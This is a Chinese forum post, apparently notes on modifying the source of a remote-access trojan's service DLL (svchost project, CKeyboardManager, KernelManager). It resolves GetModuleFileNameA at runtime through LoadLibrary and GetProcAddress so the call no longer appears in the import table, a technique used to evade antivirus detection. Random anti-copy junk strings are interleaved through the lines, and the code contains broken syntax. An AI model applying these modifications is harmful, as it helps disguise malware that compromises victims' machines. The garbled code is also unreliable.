返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
1 S- h2 z" l$ v1 C7 h6 E6 I: fsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# P$ e4 M5 W5 g, `' j
----------------------------------------4 Y; T5 G( v5 u$ K/ [
DTDY.h:
9 z* b* ?7 y& z) T2 D$ n7 J1 t0 b5 F8 R
#if _MSC_VER>1000
! O* I+ [2 _: ^#pragma once* K" k5 D8 r8 X2 S% {
#endif //_MSC_VER>1000
+ b; g$ W3 H" S9 r; A6 @3 r#include<windows.h>
2 Z. {( O" E: s' c  v9 Q" Q; e- m3 @6 U  k3 {6 o
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
! z) ?: o" H: D" M! U5 r% t( c1 kclass DTDY- _' v2 i1 ]  r
{
) e2 d' p# N6 L# U0 upublic:$ s% `- K: n8 T5 |9 z$ J; P1 B
DTDY();
0 w0 V& P" F. n( m- o; k+ Zvirtual ~DTDY();2 Q! c% _9 O. @' s1 c
public:4 U2 A+ s( E* B. m2 o, M5 W
static pGetModuleFileNameA MyGetModuleFileName;
8 {6 u) P$ L" R+ W8 E, kstatic BOOL FunInitiallization();
( b$ N% T. c/ S1 o& u};
5 ?2 V$ C# u( _0 V6 t$ Q- L, d6 N#endif" l& f% ~: X" o; I( u
----------------------------------------
$ W. D3 {! p; r, B' @( G
; y2 b9 U- q2 EDTDY.cpp:
5 ~$ [, u# R! H2 Q! d/ p7 t3 A( j0 e& g1 w& \
#include "DTDY.h"
& m* h( h! D& TpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;& _$ _, Y2 h( o, J9 ^1 ?
DTDY:TDY()
& c0 W; p9 a! v$ L& S; x# N{
% ]  E, A$ w0 p" |}2 a+ E8 \5 {/ u/ R
DTDY::~DTDY()8 Y1 H' f8 o5 h9 R4 `
{1 Q. r- I* J0 t" G: n( E
}+ X4 ?8 m, r3 x! [( k7 y3 G' x
BOOL DTDY::FunInitiallization()
4 _; V( g$ u5 t3 O) K! e{* ]/ r' ]' X* v6 P5 \/ g
HMODULE hModule=LoadLibrary("kernel32.dll");
7 E; [, W9 w5 VMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");1 ~& m/ s# Q( E3 X# I- u
if(!MyGetModuleFileName=) return FALSE;* j# p' F1 j) g) B8 H" f( h' {

$ s, M# ?1 B! _; v, a8 areturn TRUE;
; H) c' w- Y1 r  x+ h7 r! X}/ \4 F5 J, ]: |: e6 \" N% ~
----------------------------------------) ?! d+ [, B( K. q
svchost.cpp:
8 @$ Q9 M* [- q7 {
/ |8 v. p% ?' Q  o5 S#include "DTDY.h"
/ M6 i; k* `4 Y5 H$ |$ [, H" D, |5 K9 ^( \
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)9 |2 ?" C5 [. C/ J
{
1 g* [6 H6 n" b! v+ U& P  }4 Tswitch(ul_reason_for_call)& C  W. p+ X% g
{: C* Y9 Y$ V2 I4 ^  W
case DLL_PROCESS_ATTACH:& n0 @- d8 M! ?
if(!DTDY::FunInitiallization()) return FALSE;- K' S" `4 {8 y7 j: `3 e

3 h* O0 H* W0 e2 b0 l4 I& U6 u( abreak;
+ x! ]5 P+ M+ n# Q7 ~}
( U/ ]; `- O1 @}& c1 i$ m3 k6 I) o- r! x! ~$ P
8 R8 F- F( Q2 ~; I  b6 n! Y' ]
& J! y9 Y: Z* E0 `' n
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def! p  {+ k3 G% u( ]/ ?$ E2 ~
改写为
' G0 M6 @* ?4 M! b' M" YDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
' x, R5 x, W% o  q5 k1 c----------------------------------------
. e) v+ _2 Q3 y7 C0 c8 [( |KernelManager.cpp:! }' N) B! @: c1 {& B6 e

7 {: w8 M3 X* c1 N' m; Y7 A7 N#include "../DTDY.h"# M5 a/ Y/ ?  t& `* ~# Y$ H
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! ], e5 _7 {$ @, p, H0 t( \, D改写为
' t0 x& }; B2 T  Q; ~# u0 R, uDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 S0 m5 Z6 Y8 t* M3 z1 H  O
----------------------------------------

返回列表